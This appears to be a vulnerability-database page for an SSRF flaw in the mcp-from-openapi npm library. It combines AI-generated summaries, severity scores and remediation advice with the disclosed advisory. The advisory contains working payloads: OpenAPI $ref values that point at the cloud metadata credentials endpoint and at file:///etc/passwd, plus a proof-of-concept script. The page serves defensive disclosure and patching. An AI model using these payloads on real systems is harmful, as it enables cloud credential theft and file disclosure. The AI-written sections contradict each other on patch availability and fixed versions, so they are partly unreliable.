Skip to main content

Microsoft EUVDEUVD-2026-20632

| CVE-2026-39885 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-04-08 https://github.com/agentfront/frontmcp GHSA-v6ph-xcq9-qxxj
7.5
CVSS 3.1 · Vendor: https://github.com/agentfront/frontmcp
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Provide malicious OpenAPI specification
  2. Exploit
    Library dereferences $ref pointers
  3. Execution
    Fetch requests to internal addresses
  4. Impact
    Read sensitive data from metadata endpoints

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote unauthenticated attacker sends a malicious OpenAPI specification containing $ref pointers to internal network addresses, cloud metadata endpoints, or local files. Victim application processes untrusted OpenAPI spec via mcp-from-openapi library ≤2.1.2 during initialize() call without URL restrictions.

Impact

CVSS 7.5 reflects high-impact confidentiality breach via unauthenticated SSRF. No public exploit code confirmed beyond proof-of-concept; no KEV listing. Real risk depends on deployment: applications processing untrusted OpenAPI specs face credential theft (AWS/GCP metadata), internal network reconnaissance, and local file exfiltration. Library maintainers and downstream consumers should prioritize patching, particularly in cloud environments where metadata endpoints are reachable.

Exploit ScenarioDerived

Attacker provides malicious OpenAPI spec with $ref pointing to http://169.254.169.254/latest/meta-data/iam/security-credentials/ or file:///etc/passwd. When application calls OpenAPIToolGenerator.initialize(), the json-schema-ref-parser dereferences all $ref pointers without protocol/host restrictions, fetching and exposing sensitive resources to attacker. No authentication required; unauthenticated network access sufficient.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 08, 2026

Server-Side Request Forgery in mcp-from-openapi (<= 2.1.2) allows unauthenticated remote attackers to retrieve cloud metadata credentials, scan internal networks, and read local files by providing malicious OpenAPI specifications containing $ref pointers to internal URLs (http://169.254.169.254/) or file:// paths. The library's json-schema-ref-parser fetches referenced resources without protocol or hostname restrictions during OpenAPI document initialization, enabling AWS/GCP/Azure credential theft and arbitrary file disclosure with no privileges required beyond spec submission.

RemediationAI

Vendor-released patch: upgrade to mcp-from-openapi version 1.0.4 or later per https://github.com/agentfront/frontmcp/releases/tag/v1.0.4. Patched version configures json-schema-ref-parser with resolver restrictions disabling file:// protocol and enforcing hostname validation for http/https $ref targets. Immediate workaround: validate and sanitize all OpenAPI specifications before processing, rejecting specs containing $ref values with non-HTTPS schemes or IP addresses. Review advisory details at https://github.com/agentfront/frontmcp/security/advisories/GHSA-v6ph-xcq9-qxxj for mitigation guidance. No public exploit identified at time of analysis, though detailed proof-of-concept exists in vulnerability disclosure demonstrating SSRF to localhost endpoints.

Affected VersionsENISA

adapters < 1.0.4
mcp-from-openapi < 2.3.0
frontmcp < 1.0.4
SDK < 1.0.4

Affected Packages

npm @frontmcp/adapters fix: 1.0.4
npm @frontmcp/sdk fix: 1.0.4
npm mcp-from-openapi fix: 2.3.0
euvd adapters fix: 1.0.4
euvd frontmcp fix: 1.0.4
euvd sdk fix: 1.0.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 6 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Root cause in index.js lines 870-875: OpenAPIToolGenerator.initialize() calls json-schema-ref-parser.dereference() with no resolver configuration options, accepting default behavior that fetches all http://, https://, and file:// URIs in $ref values. CWE-918 SSRF stems from absence of protocol allowlists or hostname validation during schema reference resolution.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/agentfront/frontmcp) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Primary rating from Vendor (https://github.com/agentfront/frontmcp) · only source for this CVE.

CVSS VectorVendor: https://github.com/agentfront/frontmcp

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Patch released
Apr 09, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 08, 2026 - 19:22 nvd
HIGH 7.5

DescriptionCVE.org

Summary

The mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.

Affected Versions

<= 2.1.2 (latest)

CWE

CWE-918: Server-Side Request Forgery (SSRF)

Vulnerability Details

File: index.js lines 870-875

When OpenAPIToolGenerator.initialize() is called, it dereferences the OpenAPI document using json-schema-ref-parser:

javascript
this.dereferencedDocument = await import_json_schema_ref_parser.default.dereference(
  JSON.parse(JSON.stringify(this.document))
);

No options are passed to .dereference() - no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in $ref values, including:

  • http:// and https:// URLs (internal services, cloud metadata)
  • file:// URLs (local filesystem)

This is the default behavior of json-schema-ref-parser - it resolves all $ref pointers by fetching the referenced resource.

Exploitation

Attack 1: SSRF to internal services / cloud metadata

A malicious OpenAPI spec containing:

json
{
  "openapi": "3.0.0",
  "info": { "title": "Evil API", "version": "1.0" },
  "paths": {
    "/test": {
      "get": {
        "operationId": "getTest",
        "summary": "test",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
                }
              }
            }
          }
        }
      }
    }
  }
}

When processed by OpenAPIToolGenerator, the library fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/ from the server, potentially leaking AWS IAM credentials.

Attack 2: Local file read

json
{
  "$ref": "file:///etc/passwd"
}

The ref parser reads local files and includes their contents in the dereferenced output.

Proof of Concept

javascript
const http = require('http');
const { OpenAPIToolGenerator } = require('mcp-from-openapi');

// Start attacker server to prove SSRF
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'application/json'});
    res.end('{"type":"string"}');
});

srv.listen(9997, async () => {
    const spec = {
        openapi: '3.0.0',
        info: { title: 'Evil', version: '1.0' },
        paths: {
            '/test': {
                get: {
                    operationId: 'getTest',
                    summary: 'test',
                    responses: {
                        '200': {
                            description: 'OK',
                            content: {
                                'application/json': {
                                    schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' }
                                }
                            }
                        }
                    }
                }
            }
        }
    };

    const gen = new OpenAPIToolGenerator(spec, { validate: false });
    await gen.initialize();
    // Output: "SSRF HIT: GET /ssrf-proof"
    // The library fetched our attacker URL during $ref dereferencing.

    srv.close();
});

Tested and confirmed on mcp-from-openapi v2.1.2. The attacker server receives the GET request during initialize().

Impact

  • Cloud credential theft - $ref pointing to http://169.254.169.254/ steals AWS/GCP/Azure metadata
  • Internal network scanning - $ref values can probe internal services and ports
  • Local file read - file:// protocol reads arbitrary files from the server filesystem
  • No privileges required - attacker only needs to provide a crafted OpenAPI spec to any application using this library

Suggested Fix

Pass resolver options to dereference() that restrict which protocols and hosts are allowed:

javascript
this.dereferencedDocument = await $RefParser.dereference(
  JSON.parse(JSON.stringify(this.document)),
  {
    resolve: {
      file: false,        // Disable file:// protocol
      http: {
        // Only allow same-origin or explicitly allowed hosts
        headers: this.options.headers,
        timeout: this.options.timeout,
      }
    }
  }
);

Or disable all external resolution and require all schemas to be inline:

javascript
this.dereferencedDocument = await $RefParser.dereference(
  JSON.parse(JSON.stringify(this.document)),
  {
    resolve: { file: false, http: false, https: false }
  }
);

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 npm packages depend on @frontmcp/adapters (1 direct, 0 indirect)
  • 10 npm packages depend on @frontmcp/sdk (9 direct, 1 indirect)
  • 2 npm packages depend on mcp-from-openapi (1 direct, 1 indirect)

Ecosystem-wide dependent count for version 1.0.4 and other introduced versions.

Executive ViewAI

Why It Matters

mcp-from-openapi library versions 2.1.2 and earlier contain a critical Server-Side Request Forgery vulnerability that allows unauthenticated attackers to steal cloud platform credentials and read sensitive internal files by submitting malicious OpenAPI specifications. Any application using this library to process user-supplied or untrusted OpenAPI documents exposes cloud infrastructure credentials and internal data to immediate compromise without requiring authentication or special privileges.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict outbound network access from affected systems to block metadata service endpoints (169.254.169.254:80) and file:// URI handling at OS/container level; (2) Disable or remove OpenAPI specification upload/import features if not essential to operations; (3) Implement strict input validation rejecting OpenAPI documents containing $ref pointers to non-http(s) schemes or RFC1918/metadata service ranges; (4) Rotate all cloud service account credentials with access from affected systems; (5) Monitor for suspicious requests to 169.254.169.254 and file:// access attempts in application logs.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy